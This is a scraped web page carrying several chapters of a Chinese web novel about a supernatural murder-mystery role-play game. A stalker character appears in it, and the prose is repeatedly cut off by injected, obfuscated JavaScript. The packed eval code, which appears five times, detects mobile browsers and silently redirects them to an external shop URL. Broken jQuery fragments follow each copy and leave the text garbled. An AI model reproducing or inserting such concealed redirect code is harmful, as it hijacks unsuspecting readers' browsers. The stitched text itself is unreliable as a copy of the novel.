;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13998002|147504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得有些局促和无处落,只能用脚尖轻踩在地毯上、脚跟则抵着沙发。
迟疑了几秒,徐示白的腹部突然绷紧,那只手又移到他的腰侧,用手指丈量了腰身后,慢慢伸向前方。
他感觉到官素月抱得更紧、几乎整个人都在自己怀中,侧脸贴着自己的颈窝,呼吸只有这种姿势,她才能勉强环一圈。
她发现了一件事,有些惊奇,“咦,这种触感……是痣?”
问完又再次后知后觉地反应过来,小心翼翼地问:“可以吗?”
“……”
徐示白只能颔首。
他绷紧着任由动作,手突然动了起来,轻握住官素月的脚踝上。
官素月:“欸?”
徐示白将她的鞋脱下来放在一侧,手仍握着她的脚踝,将她的脚放在自己的膝盖上,又默不作声地去握另一只脚。
片刻后,官素月踩在了他的腿上。
她很局促,所以很合理的,脚在轻用力,又动了几下,移向前方,直到碰到皮制的腰带触感才停下。
只是,她显然不知道脚尖碰到腰带意味着什么,仍在局促居然踩在别人的腿上,“这、这、”
几秒后,徐示白深吸一口气,他睁开下意识闭上的眼睛,点头。
是‘舒服’和‘继续’的意思,正面反馈。
官素月的语气很无奈,“好吧……”
她有些若有所思地问:“徐先生锻炼过吗?”
徐示白点头。
“怪不得有腹肌,”官素月轻声道,“您一直很……很绅士,”
“我原本还以为您是比较温文尔雅,身形偏瘦的人呢。”
徐示白的身形确实偏瘦,但是结实的瘦,他的肌肉也不算太大太明显,不厚,是薄而有力的类型。
官素月若无其事地补充,“不过毕竟是剧本杀游戏,这种地方……锻炼过真好。”
徐示白握住官素月压在自己喉结处的手指,他低着眼睛注视她脸上茫然的表情,喉结动了动,居然开口说话了:
“我会保护你。”
18.第十八章
官素月:“……”
她努力稳住表情,但因为太过错愕,还是流露出了最真切的惊讶,“你、”
就这么说话了?
你还记得你的身份吗?你的伪装呢?啊?
就摸几下就说话了?认真的吗?
就算[官妹妹]和[官哥哥]这对假兄妹之间的关系不太正常,前者掌控后者,那也是真的‘官哥哥’吧,和冒牌货有什么关系?
如果是官素月,她是决不会开口说话,增加暴露身份的嫌疑的,所以她没料到徐示白居然就那么突然地开口说话了。
但徐示白的表情很自然,他仍克制地抿着唇,视线追逐着官素月的眼睛,仿佛没意识到自己是个冒牌货、应该隐藏身份。
他重复:“我会保护你。”
他的喉结很烫,在升温,官素月的手指收回来了些,又被抓着重新摁过去。
静默几秒后,她只能惊喜地笑起来,“你可以说话,哥哥?”
称呼自然而然地更换了,不再疏远,更亲密。
“怪不得你之前会问我是不是在现实里也是盲人,”官素月道,“原来你和角色设定不符,可以说话。”
她挺轻描淡写的,像随意一样说了句‘和角色设定不符’,可徐示白仿佛没有听懂一点暗示,眼都不眨地颔首,“嗯。”
他突然道:“小心[戚养女]、[戚保镖]和[楚下属]。”
说话时,他的喉结在上下轻动,像反过来在摩挲官素月的指尖。
官素月表情没变化,指尖像是无意间用力了一下,在喉结滚动间摁住了它,于是徐示白的声音一滞,“[戚养女]不对劲,她……”
“嗯?”她问,“你是想说她好像有点、”
该怎么形容呢?
斟酌了会儿词汇,官素月开口:“阴湿女鬼?”
她其实不太想用这个词的,但戚元青实在是太怪异了,怪异得像是个对她一见钟情于是展开狂热追求的病态神金。
会跟踪尾随偷各种暗恋对象小物品和私人衣物,说不定还偷偷舔杯口舔牙刷舔花洒的那种。
戚元青说戚向榆的坏话,官素月将信将疑,戚向榆说戚元青的坏话,官素月坚定相信。
“你在现实认识她吗?”徐示白的声音很轻,喉结在特意的控制下移动幅度很轻,不再是本能上下滚动,而是由摁着它的手指决定是上移还是下移,“她说的那些话,全部都是在说你。”
‘网恋对象’、‘喜欢的人’之类的,都是在说官素月。
可官素月当时的表现显然是根本不认识戚元青,也没和人网恋过,徐示白怀疑那位玩家是犯病了。
“嗯,戚先生告诉我了。对了,你和戚先生,”官素月适当地迟疑一下,没有说下去,转而道,“他告诉我一些和戚小姐有关的事,说她其实并非和人网恋,而是‘自认为网恋’,和人交流了些养狗的技巧,就觉得自己是对方养的、呃,”
“他也认为戚小姐的目标是我,让我小心……”
忽然,官素月停止了分享和复盘信息,尾音渐渐消失,她缓慢地眨了眨眼睛,“你……”
有什么毛茸茸的东西在刷存在感。
她半圈着徐示白的手臂正在被某种柔软蓬松的东西扫来扫去,几乎把她横在他腰背处的部分手臂全部扫了一遍,还拐着弯地摇来前面,扫到了她的扣着腰侧的手指和踩在腿上的脚。
……是尾巴。
是大型犬的蓬松大尾巴。
但是,是从徐示白的身上冒出来的。
他好像没有发现自己的异变,仍低着眼睛注视官素月,不知何时起,一双黑色的眼睛变成了浅淡的颜色,虹膜像得浓丽的金色蜂蜜,瞳孔却是深黑色,直直注视下来时有种目不转睛盯着猎物的危险感。
注视的还是官素月,只是注视的地方悄然下移,从眼睛移到了嘴唇。
说话时一张一合、现在又警觉闭上,边缘的粉色偏淡些,唇中的颜色较鲜艳,因紧闭而将唇珠含进去一点的唇。
徐示白低头靠近了些,热热的呼吸拂面而来,升高的体温在他的脸上显了出来,深黑的瞳孔缩小一点,眼睛整体却并不凝聚,反而轻微溃散,“你养过狗?”
官素月:“?”
这个关注点……
你……
剧本杀选取的玩家果然不是善茬,一个两个都有病。
她的视线在徐示白张口时从红色口腔中露出的尖锐白色上一闪而过,“是,我是盲人,有过导盲犬。”
“所以加过一些宠物交流群。”
“但不记得和戚元青交流过,也没有训犬的打算。”
这句话是真的。
徐示白问:“为什么?”
尖锐的白色再次露出,比之前更长了些,他的牙齿在渐渐变长、变尖。
随着越发的低头,有什么东西从他的头顶摇晃着抖动了几下,是一双长的三角形耳朵。
一只立着,一只耸拉着的毛绒绒耳朵。
——是狼。
徐示白的动物形态是狼。
官素月跳过不确定和推测,直接平静地想:徐示白的动物形态到底有多重的debuff,降低了多少智商,理智不会掉到最低了吧?
她手上用力,摁着喉结把他推远,让拂在脸上的热气远离自己,“不好玩,没兴趣,没时间。”
这句话也是真的。
其他的真实性如何,官素月不评价,但‘角色和玩家有一定的适配度’,她是相信的,因为她的身世和[官妹妹]确实有一定程度的微妙重合。
比如母亲和父亲很早便去世了。
在家人去世后,她的时间总是很紧,要忙碌各种各样的事,也就是在失明后才重新有了充足的时间,但因
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010215|147504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为在现实也要装得符合社会期待、柔弱可怜些,以应对狐疑警方的上门,她的娱乐时间还是不太够。
不过没关系,她不觉得训犬是娱乐,挺没意思的,这是来自年幼时体验过后的三星评价:
不记得具体在哪儿,不记得具体是谁,但貌似蛮无聊的,轻轻松松就把对方逗得团团转,指哪打哪,太轻松顺利又太乖了,没什么成就感,像喝蜂蜜水一样,不渴的时候喝一点润润唇就好,好像没什么必要喝太多。
徐示白的喉结又滚动了下,旋即克制性地停滞住,他反应了片刻,忽略对自己不太友好的,关注可以对自己友好的,“没时间?”
在他追问之前,官素月抬手,用手指摁住他的嘴唇。
太用力了,指下的红色一下子更深了,她的指尖随着力道探进去着,触碰到了白色,于是没过几秒,指下的红便多添了份湿,“接过吻吗?”
徐示白的瞳孔动了动,锁定她。
他没说话。
“你的行动时间是什么时候?”
官素月又问,另一只手松开他的腰,顺着停了下的毛茸茸,毫不犹豫地握住源头,用力掐了下,“安抚还不够吗?”
“我的睡觉时间快到了,你快点。”
徐示白不再紧紧地盯着她了,他闷哼一声,向前半倒在官素月的怀里,急促地吸气和呼气,大概是鼻端呼吸不够,他的身体微蜷缩起来,张开嘴大口大口地呼吸。
暖洋洋的呼吸尽数落在官素月的脖颈和肩膀处,她顺势将原本摁唇的手摸向他的后背,顺着安抚了几下,握着尾巴的手再次用力,“快点。”
对没什么理智的人,她缺乏一点点的耐心。
就一点点。
徐示白的狼耳朵都支棱了起来,毛茸茸地蹭着官素月的脸颊,蹭着蹭着就东倒西歪起来,一种‘想被摸’的意味扑面而来。
她垂眼瞥了下,没理,手上再次用力。
刚长出的尾巴被用力掐,大概很疼,徐示白又绷紧了身体,吐出的气几乎快赶上水沸时的蒸汽了。
他沉闷闷地埋在官素月颈间,突然间开口:“没有。”
声音很沙哑。
这是在回‘接过吻吗’。
官素月略反应一下便反应了过来,其实从徐示白的反应不难判断,这像附带了答案的试卷一样简单。
她毫不意外地挑眉,简单评价给了详细答案还回答的徐示白,“很乖。”
徐示白的呼吸停住,他声音很低地应了下,带来细细的气流,“……嗯。”
系统的提示慢半拍地响起:
「支线任务③已完成。」
「您慷慨大方地安抚了您的哥哥,给了他百分百的安心感,他十分确定,您的眼中是只有他的,决不会注意外面的那些东西。」
「多么可爱的想法。」
「您又会如何做呢?」
19.第十九章
官素月会如何做呢?
会睡觉。
从十点钟开始,她便十分困倦,几乎不可控制地陷入了昏沉中,除了系统提示,只能勉强听到点徐示白收拾浴室和轻声出门的动静。
「十点,你困了。」
「你一如既往地陷入昏睡中,隐约间似乎听到了门开关的声音,似乎是[官哥哥]出去了。」
「不知过了多久,一片昏昏沉沉中,你又听见了门和轻轻的脚步声,应该是[官哥哥]回来了。」
「你放心地陷入更深的睡眠中。」
「突然」
突然,一声尖叫声响起,响彻整个别墅:“啊——!!!”
是尖叫声。
惊恐的,由系统发出的女性机械音尖叫声。
几乎是瞬间,官素月的困意一扫而空,睁开了眼睛。
系统提示在她的眼前浮现:「你听到了尖叫声。」
「是[戚养女]的声音!」
「声音的来源似乎是……二楼书房!」
官素月从床上坐起来,简单扫视一眼周围,看见了徐示白:他睡在床边。
套间里只有一间卧室,卧室里只有一张床,徐示白要么睡客厅的沙发,要么便打地铺,他选择在床边打地铺,此时也才刚刚坐起,同样看向官素月。
他是和衣而睡的,简单挪动了下地铺便过来接官素月,“出事了。”
出的什么事,她们心知肚明:‘陈先生’的尸体被发现了。
所有玩家都心知肚明,不到五分钟,便全部匆匆赶至二楼书房。
书房的门大开着,正在慢慢向外散发着古怪的腥臭味道。
发出尖叫声的[戚养女]就在门边,她坐在轮椅上,看起来并没有配合系统一下演演瑟瑟发抖的打算,正皱着眉,若有所思着。
其他玩家都不远不近地均匀分布在门口附近,神色各异地将视线打探进去,没有一个人贸贸然闯进去,也没有一个人急着开口,每个人都在扫描案发现场的每一处细节,试图寻找其他玩家留下的痕迹。
同时,还在不动声色地打量和警惕着彼此。
官素月稍微走近一些,就明白为什么玩家们纷纷化身站立扫描仪了:她动不了。
站在书房门口,和其他玩家形成人群的那一刻,就像是被暂停的视频一样,她的身体突然定格住,无法再前进、无法再远离,也无法说话,只能转动眼睛,做出一点轻微动作。
一道巨大的提示浮现:「第一幕·①」
这个提示,在官素月刚进入游戏查看身份卡时便曾出现过,现在又浮现了出来,意思不言而喻:这场剧本杀像话剧一样分成了好几幕,而在命案成为公共信息的那一刻,[第一幕·①]要结束了。
她面色微变,用余光观察了圈其他玩家,立刻去看书房,抓紧时间扫描线索。
书房里蔓延着红色,‘陈先生’半躺在地上。
他其实是完全躺在地上的,但只能用半躺或三分之二躺躺来形容,因为地上只有他的身躯。
他的头颅不翼而飞。
书房的地毯上蔓延着一片血泊,血泊其实并不算太大,但直径也有一米左右了。
这是一个很微妙的血泊。
微妙就微妙在拿走‘陈先生’其实不算是活人,玩家们无法判断他‘死亡’时会不会和正常人一样,无法判断他是死后被带走头颅的,还是死于头身分离。
也微妙在以血泊的面积,带走头颅者可能会沾上血迹。
但很可惜,在场的每一位玩家都干干净净,身上没有一丝的可疑痕迹。
夜色已深,大部分玩家都是惊醒的,有的玩家已经换了一身衣物,有的玩家则还穿着晚餐时的衣物。
一片无人可以移动的僵硬沉默中,系统的提示再次浮现:
「当你听着刺耳的尖叫声,匆匆赶至二楼书房,竟惊愕地发现‘陈先生’被杀害了。」
「别墅处于无人区。」
「你意识到了一件事:凶手就在你们之中。」
这是公共提示,每个玩家都可以看见,官素月从其他玩家的眼神变化上看出来了。
「而很不幸,你们还要一起在别墅中度过七天,直到警方赶来。」
这句提示浮现出来时,所有玩家倒是不约而同地面无表情了起来。
系统的提示停住。
别墅外的风雪好像更大了,呼啸声幽幽地穿过建筑物,在每一位玩家的耳边流淌,像是部分影片结束和参演名单浮现之间的短暂静默时刻。
官素月隐隐有预料了,再次仔细地去观察昏暗的书房。
果然,在静默了片刻后,再次浮现出现的系统提示是:「[第一幕·①]已结束。」
「正在退出游戏中…」
亮着灯的走廊、昏暗的书房和周围站立的玩家都慢慢笼罩上了一层黑暗。
「退出成功,期待您的下次登入。」
粘稠覆盖下来的黑暗中,官素月的身体一轻,随
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020308|147504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着一阵仿佛在梦中梦到了坠崖的坠落感。
她猛然睁开眼睛,在出租屋的床上坐起。
偏僻破旧的居民楼里蔓延着一种陈年的发霉味,这种气味其实本来并不算浓烈,在住进来的短短几个小时里,官素月其实已经习惯了。
但登入又退出一次剧本杀后,那种气味仿佛突然又浓烈了几千倍,直冲冲地钻进她的鼻腔里。
那是长年累月的各种饭菜味、老鼠蟑螂等生物的体味和窝味、许久之前人体遗留的汗液和血的气味、各种排泄物混合在一起的味、霉味等等等等糅杂在一起的气味,在鼻腔里轰然炸开。
官素月轻而易举地分辩出其中的一部分气味来源,脸色瞬间苍白起来,几乎是头晕脑胀地扑在被子上,将脸颊紧紧埋在被褥之中。
被子也很难闻,但有一部分属于她自己的气味,相比起来居然还算可以接受,她用力闭眼,埋得更用力,尖锐的指甲划破被子,头顶的耳朵耸拉下来、紧紧贴着头皮,尾巴也萎靡地缩起来,整个人如遭重击,看起来还活着,但其实走了有一会儿了。
……
………
等等。
尖锐的指甲、头顶的耳朵、尾巴?
官素月脸色苍白地睁开眼睛,静静地凝视了几秒眼前的黑暗,发现自己现在居然仍然可以看见,于是暂时屏息,迅速地张口呼吸了两口,半起身看向身后。
她看到了一只黑色的尾巴。
一只油光水滑,格外蓬松,像是静静流淌的墨水或黑色丝绸,此时正被她夹着的萎靡尾巴。
是猫尾。
……在剧本杀游戏的设定中,[官妹妹]是猫。
意识到这一点的瞬间,刚刚被无比猛烈的气味所压下去的其他异常重新浮了上来,被官素月重新感知到:风声、车声、树叶碰撞声、远处低微的人类声、居民楼内其他房间里的挣扎和痛苦闷哼声。
除此之外,还有一道来自楼上,和官素月隔了一层天花板,在她捕捉到的瞬间便泛起了凉意、不自觉地全神贯注去注意的声音:
某种柔软的、光滑的东西从床上游动下来,伴随着皮肤和衣物的细细摩擦声,仿佛是穿着衣服的蛇在移动的声音。
它只响了五六秒,就在正上方、和官素月完全重叠的位置停下来,像……
楼上的那位玩家刚度过异化期,还未完全缓过来,就以非人的形态悄无声息地从床上滑下来,柔顺地钻进床底,俯趴在地上,静静地偷听她的一举一动。
20.第二十章
官素月:“……”
听力太敏锐了,软滑的感觉仿佛是贴着耳朵响起的,她的皮肤上泛起了一层层颗粒。
被恶心的。
不过眼下最关键的显然不是楼上那家伙的到底有多恶心,在危机感面前,官素月很快发现自己刚刚还过分敏锐的嗅觉仿佛被屏蔽了。
她不动声色地张嘴呼吸,而后从床上站起来,摸索着去拿盲杖,跌跌撞撞地走向卫生间。
楼上那种宛如蛇在游动的声音再次响起,跟随着官素月向卫生间移动,时不时发出点碰撞到什么的细碎轻声,一直处于她的正上方。
在她拧开水龙头洗脸,发出些很低、一听就明显还处于被异化影响的痛苦声音时,它才离开正上方,悄悄向一侧的窗户游去,又顺着居民楼的墙壁外侧蜿蜒至官素月的窗前。
卫生间的窗户是关着的,但没有窗帘,这种老式小区的玻璃也只是普通一击就碎的玻璃,还没有锁、只有一个充当锁作用的钮扣式把手,外面的人一推就开。
官素月恍若未觉,仍将手撑在洗手池一侧,另一只手则拂过眼眶,让眼下更红,她声音很低地自言自语,“好难受。”
她的耳朵还是耸拉着,呈飞机耳状紧紧贴着头发,尾巴活人微死一样垂在她的身后。
无需看表情,只要看一看尾巴耳朵,所有人都能轻松判断:她状态很不好。
还看不见。
还没有意识到危机,仍在自顾自地难受着。
如果有玩家突然犯病,无视游戏规则,想在现实挑个软柿子捏一捏,那现在的她简直就是最合适被捏的柿子。
“尾巴和耳朵怎么收回去?”官素月伸手在头顶虚摸了摸,叹气,又握起盲杖,转身向窗户走去,“还有突然灵敏的嗅觉,这里真的好难闻……”
说着,她推开了窗。
夜风吹来,温柔地拂过官素月的脸颊,捎带来一缕缕古怪的腥甜气味。
腥甜气味的来源是窗户左侧,一道黑影静静地贴在墙壁上,它的上方和下方什么东西都没有,仿佛凭空黏在墙上的,而且身体超乎人体柔软度地折了两叠,比起在黑暗中蛰伏的人类,更像是吐着信子的蛇。
腥气显然是蛇自身的气味,甜则轻柔缓淡,并不刺鼻,带了点果香,很清新。
它们掺杂在一起,不分你我,好像混合了太久已经融合了,官素月分辨了几秒,才艰难过滤掉腥气,品味有些熟悉的香甜:一款香水的气味。
说是熟悉,是因为有段时间她用过这款香水,会在房间的角落喷洒几下,让整个房间充斥满轻盈的香气。
她也看清了黑影是谁:戚元青。
……有点出乎意料,又有点不那么出乎意料。
这家伙是蛇还算在情理之中,毕竟有病得太明显了,都有点病态了。
可她居然是第一个悄然出击攻击其他玩家的人吗?
一定是来袭击玩家的,不是来干其他事的,对吧?
思忖着,官素月的表情仍是自然放松的表情,带着点愁闷的抱怨,眉头也蹙着,一副嗅觉灵敏些后有些不适应的恹恹样子,很适合遭受猝然袭击。
但黑影没动。
她静静地站了两分钟。
黑影没动。
她静静站了五分钟,异常的嗅觉和听力渐渐恢复正常,耳朵和尾巴不知不觉间消失不见,眼前也再次恢复成盲人的状态,却比她之前的状态好多了,可以隐约看到点东西。
看来和游戏里一样,这种异化成半动物的状态是有时间限制的。
墙壁上的黑影也脱离了异化状态,她灵活地伸手攀住侧上方的空调外机,离得更近了些,而后再次不动。
第十分钟,官素月露出终于缓过来了的心情很好的表情,更加放松,她伸手探出窗外,外面摸索了下。
黑影仍然没动。
……戚元青真的不是来袭击的,是来……
官素月心平气和,中断想法,她摸索到窗框,关上窗户,顺手别上把手,转身走回卧室。
她在外面的时候,戚元青几乎一动不动,但她一进房间,戚元青倒是动了,几乎是立刻跟了上来。
钮扣大小的窗户把手根本没发出多大的声音就报废了,窗户被推开的声音也几近于无。
戚元青没一点在剧本杀游戏里柔柔弱弱只能坐轮椅的样子,悄无声息地跟上了官素月,几乎和她前后脚回到卧室。
她穿的不是正常的鞋子,而是一种类似于穿了很久、鞋底已经格外柔软的舞蹈鞋,没什么底,很大,比官素月要大许多。
但她很高。
脚的尺寸和身高一般是成正例的。
戚元青从卫生间走出来时,只比门低了不到一掌,就算是保守估计也起码一米八,和徐示白差不多高,不故作可怜可爱的时候,看起来是位高挑的御姐。
这位‘御姐’的头发没有扎起来,是散着的,服饰是偏宽松的中性风格,如果戚元青不是悄无声息地潜入别人家中,而是简单地站在路边,那便是位低头别一下头发都会让人侧目的漂亮姐姐。
但很可惜,她现在就悄无声息地站在房间中央,安静地盯着官素月看,黑色的长发像是水中的海草,一部分垂在她的身后,一部分垂在她的脖颈胸前,让她像是前来索命的女鬼。
如果真的是来索命的,那还挺好。
如果身上没有熟悉的香水味,更好。
坐在床侧,看似什么都没察觉到的官素月:“……”
她没什么表情地刷着手机,很快发现一件事:那位人很好的中介居然把她的联系方式删了。
社交软件似乎是卡了,好友里没有任何人,手机久久没有读出一个备注,自然也没有那位中介,社交软件首页的聊天框里也没有那位中介。
官素月回忆着那位中介的号码,搜索了下,手机播放的提示是:“已申请添加好友,请等待验证。”
她的眉头顿时蹙起:那位中介的社交软件是设置了无需验证,只要有人搜索添加就会立刻弹出对话框的。
当时联系对方时,她是在凌晨,那个时间点中介已经入睡,可她还是秒加成功,现在……
戚元青站得更近了。
她从头听到尾,在手机播放声中一会儿前进一步、一会儿前进一步,很快,便站在官素月面前,站在只需要再前进两三厘米、她的鞋尖便能碰到她的鞋尖的位置。
过了几秒,她没有再直直前进,而是向侧前方进了一步,悄无声息地蹲了下去,就蹲在官素月的右手边,用手掌托着脸,安安静静地盯着她。
哪怕看不到,官素月在刷手机时也是垂首的,她没开灯,房间里的光源只有亮着的手机屏幕,幽光照在她垂下的脸颊上,有些模糊朦胧。
她边思忖着异常情况,边用余光瞥了眼戚元青,发现她看得目不转睛,跟蹲在主人脚边的大型犬似的,哪怕主人在头也不抬地玩手机,她也能独自摇尾巴快乐起来。
……是真的快乐。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037680|147504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她在笑。
很陶醉很幸福地笑。
仿佛即将死亡的人进入了无限流,经历了一系列的痛苦挣扎,终于摸滚打爬地通关,回到了现实世界,还收获了友谊爱情,迎来了幸福美满的梦幻生活,于是情不自禁地乐了出来。
官素月:“……”
她的手指停滞在空中,像在认真思索,过了几秒才重新动起来,开始搜索接了调查居民楼委托的私家侦探。
和中介一样,私家侦探同样设置了可直接弹出对话框。
但现在搜索并添加,官素月再次收获手机播放出的一模一样的提示:“已申请添加好友,请等待验证。”
私家侦探是个夜猫子,能在凌晨三四点秒回官素月的夜猫子,她干脆直接拨打电话。
电话拨通声响起,慢吞吞地一声一声提示正在拨通中,一侧的戚元青收敛的笑意,她把视线从官素月的脸颊上撕下来,去盯手机屏幕上的那串号码。
她的表情不悦起来。
因官素月联系对方而不悦,又因对方迟迟不接使拨通自动挂断而更不悦,不悦到脸有些扭曲,无声张口:
“贱人。”
余光虚瞥过去,辨认出口型的官素月:“……”
不过很快,戚元青的脸又平和起来,她仍继续盯着手机,可脸却突然染上了点点红色,身体也突然又向前挪了挪,脸庞也向前探去,在鼻尖几乎触到官素月的腿时才停下。
官素月:“……”
她继续拨电话的手停了停,陡感不妙。
下一秒不妙预感证实,戚元青再次动了起来,像是大型犬。
但不是乖巧蹲在主人脚边的大型犬,而是摇着尾巴把主人从头嗅到尾的大型犬,她没法出任何声音,一点一点地嗅着官素月,一会儿嗅嗅膝盖,一会儿嗅嗅手腕。
还缓慢直起上半身,试探性地靠近官素月的脸颊。
在她嗅过来之前,官素月换了个坐姿。
戚元青及时退开。
“好奇怪,”官素月自言自语重要信息,“我好像失联了,联系不到任何人。”
“但是可以上网浏览各种信息。”
“……就好像进入剧本杀后,我暂时在现实世界中消失了。”
任何一位剧本杀玩家陡然听到这个消息,都会多多少少转移一下注意力。
括弧,正经的玩家。
但正经的玩家显然不会变态到潜入别人家里、还偷偷闻别人,戚元青一点都没在意官素月说出的重要信息。
她盯着官素月蹙起的眉头看,手动了动。
官素月低下头,伸手拂过自己的半张脸,“不行,我得出去看看。”
不行,太变态了,速溜。
就在她刚站起来、抬手抓住盲杖时,敲门声突然响起,随后,是一道压得很低的声音,“姐姐?”
是楚回。
官素月立刻自然而然地走到门边,她边走边问:“你怎么来了?”
不等回答,又补充,“我发现一件很重要的事,现在就要出去确认一下,你要去吗?”
她握住门把,刚要拧开,就听到来自后方的声音:
“贱人。”
声音很好听,可能因为压低了些、又带上了冷意,有点中性感,让人猛然间其实分不太清男女。
不过只有一瞬间,下一句,戚元青的声音便轻柔了下来,咬字慢慢的,有点低落可怜的味儿。
“玩得开心,月亮。”
21.第二十一章
官素月:“……”
她握着门把的手停住,皮肤上又泛起了一层的颗粒。
这次是因为被变态到了。
戚元青说话的声音是正常音量,官素月的人设是看不见而不是听不见,也就是说……
刚刚,官素月知道戚元青在房间里,戚元青也知道官素月知道自己在。
但她假装不知道,一直若无其事地我行我素,直到官素月即将自然而然地离开,才突然出声点破。
而她点破,大概率是因为楚回。
官素月见过变态。
不过那是杀人方面的变态,而不是这种带着某重湿漉漉潮气,令人起一颗颗皮肤颗粒的变态,仿佛走在路边突然被什么东西扑着蹭、打对方一巴掌反而还被亲几口手掌。
在和平有秩序的现代,这种缠上来的家伙,是必须尽快解决的
但很快,官素月的表情微妙了起来:在秩序日益稳定的现在,很巧,剧本杀恰恰是一个不太秩序的地方。
那也许不用立刻一脚踹开……
于是几秒后,她平静地拧开门,表情平淡地向外看去。
楚回站在门外。
已经退出游戏片刻,他居然还处于异常状态,头发虽是黑的,可头顶却多出了两只毛茸茸的浅金色耳朵,目测是狗耳。
身后也多了一条蓬松多毛的灿金色大尾巴,此时正在欢快地甩来甩去,像开了两档的风扇。
尾巴欢快着,可他的表情却是低落的,“姐姐想让我跟着去吗?姐姐想的话,我就去。”
“不知道为什么,一退出游戏我就突然非常难受,头顶多……”
他是垂首说的,边说,边慢慢抬头,让失落无措的表情一点点露出来,可抬到一半,他就感受到了直直钉在自己脸上的锋利视线。
不是来自官素月的。
楚回一顿,迅速抬头看向房内。
戚元青还半坐在床边,大部分的身体和表情都被浓郁的阴影所笼罩,只有一双冷冷盯过来、仿佛闪着寒芒的眼睛还算清晰。
她像是一条盘踞起来,随时准备发起攻击的毒蛇。
而这条毒蛇,此时就在官素月的私人房间里,大大方方地坐床边,一副家养宠物冷眼打量外面狗东西的高高在上态度,似乎是刚来,又似乎是一直住在这里,连进游戏都是和官素月一起进的。
她有腿疾,只能坐在轮椅上行动。
那是谁将她抱下轮椅,带入房间,允许她坐在床侧,坐在一个只要稍低身便俯在床畔撒娇的地方呢?
楚回说到一半的话停住,真实度不错的低落表情定格,欢快摇来摇去的尾巴也僵在了半空中。
他面无表情起来,和戚元青对视。
官素月走出房间,顺手带上门,把对视隔绝,“犬类?”
“我闻到了犬类的气味,”她没提戚元青,“你的动物特征居然维持到现在?”
毛茸茸的大尾巴慢慢垂了下去,楚回看起来很不高兴,“嗯嗯,是很喜欢人类的金毛喔,感觉姐姐可能会喜欢,所以冒出来之后,我就努力压制住了,找姐姐时才又放出来。”
“姐姐要摸摸吗?”
他的表情看起来不高兴,像随时会踹门一口咬中毒蛇的七寸,但语气听起来很活泼开朗,没有一点不愉快,说完还半转了转身,尾巴再次摇起来,摇摇晃晃地蹭着官素月的手,“手感很好的!”
可以暂时压制?
戚元青出现得太急,官素月没时间尝试摸索异化,没获得这条信息,此时才知道,她随手摸了摸主动冒进自己手心里的金色尾巴尖。
大尾巴摇得立刻更加欢快,甩来甩去像大棉花糖。
被摸尾巴应该很舒服,热情尾巴的冷脸主人竟然眯起了眼,脸上的冷意稍缓。
说起来,徐示白被摸尾巴的时候也很激动……
思索着,官素月收回手,面上露出一点笑,“嗯,手感很好。”
她边探着盲杖向前走,边回到正经话题,“你没试过和家人联络吗?”
“没有,”楚回甩着尾巴跟她走,在走到楼梯时加快脚步,自己站在扶手那一侧,伸手握住她的手,让自己充当扶手,“最近快放假了,我家人都很忙,暂时没空管我。”
说着,他现场拿出手机,刷了几下,拨出通话试了试,很快确定:“我暂时联系不到其他人。”
慢慢走到二楼和一楼之间时,楼上有动静传来。
是一阵沉闷的轻微碰撞声,由铁链和木门撞击的声音组成,从上方遥遥传来,听起来像在四楼或五楼。
官素月闻声抬头,脚步停下。
楚回也停下脚步,他若无其事地跟着抬头,用十分惊讶的语气开口:“咦,是什么声音,是有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068765|147504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
